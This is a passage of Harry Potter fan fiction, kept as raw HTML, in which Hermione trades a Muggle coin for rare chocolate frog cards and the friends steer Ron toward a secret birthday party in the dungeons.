Dungeon Five, Friday at around 11:00, and get our dear little\nbrother there at 11:30 so we can surprise him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright,\nthanks,&#8221; Harry said as he and Hermione stood to leave.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not a problem,\njust remember, you owe us,&#8221; Fred winked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why do I feel like\nwe just made a deal with the wizard&#8217;s mafia,&#8221; Hermione whispered as they left.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He likes his\nwizard&#8217;s chessmen because he&#8217;s had them for so long that he can get them to do\nwhatever he wants,&#8221; Harry explained a few days later in the library. &#8220;That&#8217;s\nwhy I decided just to get him a new chessboard.&#8221; Harry pulled the mahogany\nchessboard out of his bag to show Hermione.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where did you\nget this from?&#8221; Hermione asked, putting down her quill to examine the brown and\nbeige checkered board.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know Fred\nand George,&#8221; Harry shrugged. &#8220;They sneak into the village as easily as you\nsneak up to the ramparts.&nbsp; I gave them\nsome money and asked them to pick it up.&nbsp;\nThey had to go there to get some supplies for Ron&#8217;s party.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where is Ron,\nanyway?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The moment I\nsaid &#8216;library&#8217; he suddenly got ill,&#8221; Harry laughed. &#8220;I don&#8217;t think he&#8217;s in the\nmood for studying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Doesn&#8217;t he\nrealize that if he doesn&#8217;t start studying now, he hasn&#8217;t got a hope for getting\nthrough the finals?&nbsp; You should set a\ngood example for him Harry by starting yourself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry ignored\nthis. &#8220;So what are you getting Ron for his birthday party?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nshrugged. &#8220;I really don&#8217;t know what to get him.&nbsp;\nBesides I don&#8217;t really have any money left.&nbsp; I have 1 galleon.&nbsp; I really should have converted more of my\nsavings when I was in Diagon Alley.&nbsp; What\ncan I get with 1 galleon?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry thought for\na moment. &#8220;Well that should get you a lot of chocolate frogs.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, that&#8217;s\nridiculous.&nbsp; I&#8217;m not going to buy Ron chocolate\nfrogs for his birthday.&nbsp; I already got\nyou both candy for Christmas.&nbsp; It&#8217;s a little\nredundant don&#8217;t you think?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, Ron loves chocolate\nfrogs because of the famous witch and wizard cards.&nbsp; He&#8217;s been trying to collect them all for a\nwhile but he&#8217;s still short two:&nbsp; Agrippa\nand Ptolemy.&nbsp; They&#8217;re supposedly very\nrare.&nbsp; I haven&#8217;t got them either.&nbsp; Maybe you&#8217;ll luck out and give him the toads\nhe needs.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I doubt I&#8217;d be\nthat lucky,&#8221; Hermione sighed.<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged. &#8220;Just\na thought.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione picked\nup her quill with every intention of starting to work again, but then an idea\nsuddenly struck her. &#8220;Wait a minute&#8230; I think I&#8217;ve got it.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For the few days\nthat preceded the clandestine birthday party, Hermione had one mission, find\nthe two elusive famous witch and wizard cards that would complete Ron&#8217;s\ncollection.&nbsp; She decided to forgo buying\nchocolate frogs and take a more direct approach.&nbsp; If she could find someone who already had the\ntwo cards, she might be able to buy them directly.&nbsp; She asked Neville, Dean, and Seamus first but\nnone of them were really collectors, so she tired the other members of\nGryffindor house.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ewww,&#8221; Parvati winced when Hermione asked her if she ate\nchocolate frogs one evening in their dormitory. &#8220;I can&#8217;t eat those things.&nbsp; Some of us actually <i style="mso-bidi-font-style:\nnormal">care</i> if our skin breaks out.&nbsp;\nWhy do you want those things anyway&#8230; craving?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, no,&#8221;\nHermione said. &#8220;I&#8217;m trying to find someone who collects the famous witch and\nwizard cards so I can find the two I need.&nbsp; I&#8217;m getting them for Ron&#8217;s birthday party this\nFriday.&nbsp; You are coming right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nkidding,&#8221; Lavender squealed excitedly.&nbsp;\nShe was lying on her bed with her feet in the air. &#8220;First years <i style="mso-bidi-font-style:normal">never </i>get to go to the night castle\nparties. &nbsp;Only Harry could have pulled\nthis off.&nbsp; He gets to be on the house\nquidditch team and now he&#8217;s throwing a night party. &nbsp;This is so exciting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, Padma is\nbringing a bunch of her friends from Ravenclaw,&#8221; Parvati added. &#8220;Speaking of\nsuch; if you&#8217;re really serious about finding those cards, I think a friend of Padmas knows someone in Hufflepuff that is a collector just\nlike Ron.&nbsp; Maybe he can help you.&#8221; It was\na proven fact that there were at most three degrees of separation between any\nHogwarts student and one of the Patil twins.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nbrightened. &#8220;Sure, can you ask her who it is so I can get a hold of him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, but you&#8217;ve\nonly got a couple of days before the party.&nbsp;\nAre you sure you can pull this off?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grinned\nto herself. &#8220;Of course, I&#8217;m a Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati looked\nup. &#8220;Huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, Hermione,&#8221;\nParvati said as she came up to Harry, Ron, and Hermione at breakfast the next\nmorning. &#8220;I have to show you that&#8230; uh&#8230; thing I promised to show you.&nbsp; Remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione threw\ndown her napkin.&nbsp; &#8220;Oh&#8230;\nyeah.&#8221; She turned to Harry and Ron. &#8220;Be right back,&#8221; and then jumped out\nof her chair to follow Parvati.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Girls are\nweird,&#8221; Ron said through a mouthful of bacon.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati and\nHermione walked out of the Great Hall to where a boy was waiting patiently by\nthe oak front doors.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is Wayne\nHopkins,&#8221; Parvati introduced. &#8220;He says he has what you&#8217;re looking for.&nbsp; I&#8217;ve got to go though.&nbsp; I promise I&#8217;d meet Padma after I finished\nbreakfast.&#8221;&nbsp; With that, she left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wayne gave\nHermione a half grin. &#8220;So I hear you&#8217;re looking for a couple of famous witch\nand wizard cards.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, Agrippa and Ptolemy.&nbsp;\nDo you have them?&#8221; she asked hopefully.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yup, I&#8217;m a\ncollector.&nbsp; Agrippa and Ptolemy are rare,\nbut I lucked out and have a few of each.&nbsp;\nStill, you better have something good to trade.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Trade?&#8221; Hermione repeated uncertainly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I can&#8217;t\ngive &#8216;em away for free.&#8221; Wayne said matter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I don&#8217;t\ncollect famous wizards and witches cards,&#8221; she admitted. &#8220;I have 1 galleon\nthough.&nbsp; Will that do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wayne gave her a\nlook of shock. &#8220;Naw, I don&#8217;t want money.&nbsp; I told you, I&#8217;m a collector.&nbsp; I collect all sorts of things: coins, owl\nfeathers, talismans, all sorts of stuff.&nbsp;\nIf you have something you can trade for the two cards, they&#8217;re yours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Hermione\nthought about this. &#8220;I don&#8217;t really think I have anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wayne shrugged.\n&#8220;Well if you think of something, find me at the Hufflepuff table during\nmealtime and we can trade.&#8221; He started off. </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you couldn&#8217;t\nfind anything to trade with Wayne?&#8221; Harry asked later when they were both in\nthe library. &nbsp;Ron had yet to arrive.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione\nanswered in frustration. &#8220;What do I have that he would want?&nbsp; I don&#8217;t have anything worth collecting.&nbsp; I don&#8217;t have any talismans or rare coins or\nanything else like that and I&#8217;ve barely had time to ask any of the other\nGryffindors.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Rare coins?&#8221; came a voice from behind them.&nbsp; It was Ron and he had caught the tail end of\ntheir conversation.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione jumped. &#8220;Oh hi Ron.&nbsp; Uh,\nfinally decided to study?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not really,&#8221; Ron\nshrugged, &#8220;but Seamus isn&#8217;t around so I didn&#8217;t have anyone to play wizard&#8217;s\nchess with.&nbsp; So what do you need a rare\ncoin for?&#8221; he pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, well I&#8217;m\ntrying to trade it with someone for a&#8230; uh&#8230; book I want to get from them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron laughed.\n&#8220;Only you would trade someone for a boring old book.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey!&#8221; Hermione\nsquealed indignantly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, even\nthough it&#8217;s not for a worthy cause, I&#8217;ll help you out.&#8221; He tossed a coin on the\ntable.&nbsp; It was the 50 pence piece that\nHarry&#8217;s aunt and uncle sent him for Christmas.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Hermione\nsighed picking up the coin to hand it back to him, &#8220;this isn&#8217;t a rare coin;\nit&#8217;s just muggle money.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Ron\nsaid. &#8220;But that&#8217;s the whole point.&nbsp; Most\nwizards have no idea what muggle money even looks like.&nbsp; So to us, this is a rare coin.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know,&#8221; Harry\nmused. &#8220;It just might work.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can have\nthis?&#8221; Hermione asked Ron, uncertain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sure, I don&#8217;t\nhave any use for it.&nbsp; It was fun to have\nit but I don&#8217;t really need it.&#8221; Ron sat down as Hermione jumped to her\nfeet.&nbsp; &#8220;Hey where are you going?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have to go get\nthat&#8230; uh&#8230; book now,&#8221; she told him as she rushed for the doors.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook his\nhead as he watched Hermione retreating from the library. &#8220;That girl is\nbeginning to scare me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rushed\ndown the stairs and into the Great Hall where several students were still finishing\ndinner.&nbsp; She scanned the Hufflepuff table\nand saw that Wayne Hopkins was still there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wayne,&#8221; she panted\nas she ran up to the table. &#8220;I think I have something you want.&#8221; She pulled the\ncoin from her pocket.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wayne looked\nintrigued. &#8220;Oh what&#8217;s this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a muggle\ncoin:&nbsp; 50 pence piece,&#8221; she told him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wayne&#8217;s eyes\nwidened. &#8220;Really?&nbsp;\nMuggle money is pretty rare.&nbsp; It&#8217;s\nnot impossible to get of course, but since Gringotts melts down all exchanged\ncoins immediately and most wizards just use magic to synthesis any muggle money\nthey need, it&#8217;s getting harder and harder to find real muggle coins in the\nwizarding world.&nbsp; I definitely don&#8217;t have\nthis.&nbsp; I think it&#8217;s worth the two cards\nyou want.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He took the coin\nfrom her and reached into his bad and pulled out two mint condition famous\nwitch and wizard cards. &#8220;Thanks for the trade,&#8221; he said as he slipped the coin\nin his pocket.&nbsp; &#8220;Let me know if there&#8217;s\nanything else you need. &nbsp;By the way,\ncan&#8217;t wait for the night party tomorrow.&nbsp;\nSounds like it&#8217;s going to be a blast.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thanked\nhim and then left, thinking about the last thing he had said.&nbsp; It seemed that news of the party had\ndefinitely spread.&nbsp; How the Weasley twins\nwere going to keep it a secret from the staff, she didn&#8217;t know.&nbsp; Every time she asked them about it, they just\nassured her that they&#8217;ve done it numerous times and that they had everything\nunder control.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was amazing to\nthink that parties went on at night that people didn&#8217;t know about.&nbsp; She supposed that the teachers, especially\nthose who attended Hogwarts in their youth, had to know what was going on.&nbsp; Did they not care or were the students really\nclever enough to keep from getting caught.&nbsp;\nShe supposed it was a mix of both.&nbsp;\nShe didn&#8217;t know a lot about their headmaster but it seemed that as long\nas things didn&#8217;t get out of hand, he was willing to overlook a few broken rules\nhere and there.&nbsp; The person they really\nhad to look out for was Professor McGonagall.&nbsp;\nIf she found out about the party, they&#8217;d all be in serious trouble.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Have I mentioned\nthat I have a bad feeling about this?&#8221; Hermione said nervously to Harry in the\ncommon room.&nbsp; It was the night of Ron&#8217;s\nsurprise birthday party.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Only a hundred\ntimes,&#8221; Harry said with a sigh. &#8220;Would you like to go for a hundred and one?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred and George\ncame up to them, a wide grin on each of their faces. &#8220;We&#8217;re off to prepare for\ntonight.&nbsp; Don&#8217;t forget: Bring dung-brains\nat 11:30,&#8221; Fred said cheerily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you <i style="mso-bidi-font-style:normal">sure</i> that everything is going to go\nokay?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t worry\ngoodie-two-shoes, we&#8217;ve got things covered,&#8221; George assured her. &#8220;You just\nbring Ronnikins.&#8221;&nbsp;\nThe twins headed for the portrait hole.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How are we going\nto get Ron to go out tonight without telling him what&#8217;s up?&#8221; Hermione asked\nHarry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got an\nidea, just meet us down here at 11:20 tonight and follow my lead,&#8221; Harry said\nwith a grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At that moment,\nNeville came tumbling through the portrait entrance. &#8220;Oy, Harry just who I wanted to find.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry helped him\nup. &#8220;What&#8217;s wrong Neville?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I overheard\nMalfoy talking to his friends about the night party for Ron.&nbsp; If he knows about it then&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Then he may try\nto cause trouble for us tonight,&#8221; Harry finished for him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See I <i style="mso-bidi-font-style:normal">knew </i>this was a bad idea,&#8221; Hermione said\nimmediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe we should\ncall the whole thing off,&#8221; Neville suggested. &#8220;If Malfoy&#8217;s going to be there, I\nknow I&#8217;m not going.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t worry\nabout it,&#8221; Harry said calmly. &#8220;Now that we know about it, we&#8217;ll be ready if\nMalfoy tries to show up.&#8221; He turned to their most recent arrival. &#8220;Neville,\nit&#8217;s still early, run down to Dungeon 5 and tell the twins what you just told\nme.&nbsp; I&#8217;m sure they&#8217;ve got something up\ntheir sleeves to handle Malfoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville nodded\nand then pushed his way through the portrait door again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re going to\nget in trouble,&#8221; Hermione insisted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll be fine,&#8221;\nHarry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s going\non?&#8221; Ron said as he descended the stairs from the boys&#8217; dormitories. &#8220;Everyone\nseems to be excited about something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t know,&#8221;\nHarry said with a shrug. &#8220;Guess it must be because it&#8217;s the weekend.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;Ooo, Parvati, that&#8217;s such a nice outfit, where did you get\nit from?&#8221; Lavender squealed as her roommate reentered the room, having changed\nin the bathroom.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I brought up\nsome more clothes at Christmas,&#8221; Parvati said.&nbsp;\n&#8220;Are you ready to go?&nbsp; It&#8217;s\n11:15.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender stood. &#8220;Yup,\nare you coming Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nlying on her bed reading, &#8220;No, I&#8217;m going with Harry and Ron, I&#8217;m supposed to\nhelp get him to his surprise party remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh alright well\nFred and George said we shouldn&#8217;t all go in one big group, so Parvati and I are\nheaded out on our own now,&#8221; Lavender told her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just don&#8217;t get\ncaught,&#8221; Hermione warned them tentatively.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We won&#8217;t,&#8221;\nParvati assured her. &#8220;They gave us a route to follow that should keep us away\nfrom Filch.&#8221;&nbsp; They left the room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to\nkeep reading, but her nervousness was getting the better of her, so she threw\ndown her book and decided to go to the common room to wait for Harry and\nRon.&nbsp; As she descended the stairs, she\nsaw Neville headed towards the portrait exit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville I\nthought you said you weren&#8217;t going,&#8221; Hermione called before he could push the\nportrait open.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville jumped.\n&#8220;Oh well, I want to go.&nbsp; I don&#8217;t want to\nbe afraid of Malfoy or anyone.&nbsp; Gram\nwould be so disappointed in me if she found out I wasn&#8217;t facing my fears.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nin understanding. &#8220;Well do you have the directions so that you don&#8217;t get\ncaught?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, yeah.&#8221; Neville reached in his robe pockets.&nbsp; He pulled out a bit of parchment and as he\ndid, a small pouch came tumbling out.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s that?&#8221;\nHermione asked as Neville hastily reached down and shoved the pouch back into\nhis pocket.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s just\nsomething I made earlier.&nbsp; I thought it\nmight come in handy but I&#8217;m probably being paranoid.&nbsp; I&#8217;ll see you.&#8221;&nbsp; He pushed his way through the portrait exit\nand tumbled out.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took a\nseat in one of the large armchairs beside the common room fireplace.&nbsp; She didn&#8217;t have long to wait before she heard\nvoices coming down the stairs that led to the boys&#8217; dormitories.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wonder where Seamus,\nDean, and Neville are.&nbsp; Maybe we should\ngo look for them instead,&#8221; she heard Ron say.&nbsp;\nHis voice sounded pleading.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t care,&#8221; came Harry&#8217;s angry reply. &#8220;I&#8217;m going to go find it.&nbsp; You don&#8217;t have to come if you don&#8217;t want to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I&#8217;m coming.&nbsp; I have to make sure that thing doesn&#8217;t suck\nyou in or something.&#8221; Ron and Harry appeared at the bottom of the stairs.\n&#8220;Hermione what are you doing up?&#8221; Ron asked in shock. &#8220;Is there some sort of\nparty I don&#8217;t know about?&nbsp; Everyone seems\nto be up tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230;&#8221; Hermione\ndidn&#8217;t know how to answer that.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come to stop me\ntoo have you?&#8221; Harry cut across her.&nbsp; He\nseemed genuinely upset about something but what, Hermione couldn&#8217;t tell.\n&#8220;That&#8217;s the last time I tell you anything.&#8221; He turned to face Ron again. &#8220;I&#8217;m\ngoing to go find the Mirror of Erised and neither of\nyou are going to stop me.&nbsp; All I can\nthink about is seeing my parents again.&nbsp;\nMaybe if I do, I won&#8217;t have these nightmares anymore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione finally\nunderstood. &#8220;Harry,&#8221; she started, faking a look of deep concern. &#8220;I didn&#8217;t come\nhere to stop you.&nbsp; I just thought maybe\nyou could use some company tonight.&nbsp; I\nknow how hard this has been for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked back\nand forth from her to Harry. &#8220;Hermione, have you gone nutters?&nbsp; You do realize what that thing could do to\nhim don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Hermione\nsnapped. &#8220;Stop being so insensitive.&nbsp; This is obviously something Harry wants.&nbsp; We should at least be there for him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You two have\nboth gone mad,&#8221; Ron said in exasperation.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;At least I\ncare!&#8221; Hermione said testily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not going to\nwait for you to decide Ron,&#8221; Harry interrupted impatiently.&nbsp; Hermione stepped up beside him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron took the\nbait. &#8220;Fine, I&#8217;m coming.&nbsp; Looks like I&#8217;m\ngoing to have to be the voice of reason,&#8221; he grumbled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry headed\ntowards the portrait exit and Hermione followed as did Ron, still grumbling.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How are you even\ngoing to find it again,&#8221; Ron whispered a few minutes later as they descended a\nflight of stairs. &#8220;I thought you told me Dumbledore hid it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione found\nit,&#8221; Harry told him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;I did?&#8221;</i> Hermione thought to\nherself.&nbsp; Then she realized that this\nmade the most sense.&nbsp; If anyone could\nhave found the mirror, it would have been her.&nbsp;\nShe knew the most about the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nice going,\nHermione,&#8221; Ron said angrily in her ear. &#8220;You just had to get him on this\nagain.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it, Ron,&#8221;\nHermione hissed.&nbsp; She was thoroughly\nenjoying making him worry.&nbsp; She suspected\nthat Harry was enjoying blaming her for this fiasco as well.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had made it\nto the ground floor without incident.&nbsp;\nThe castle seemed completely still despite the huge party that was\nsupposedly raging, in the dungeon level.</p>\n\n<p 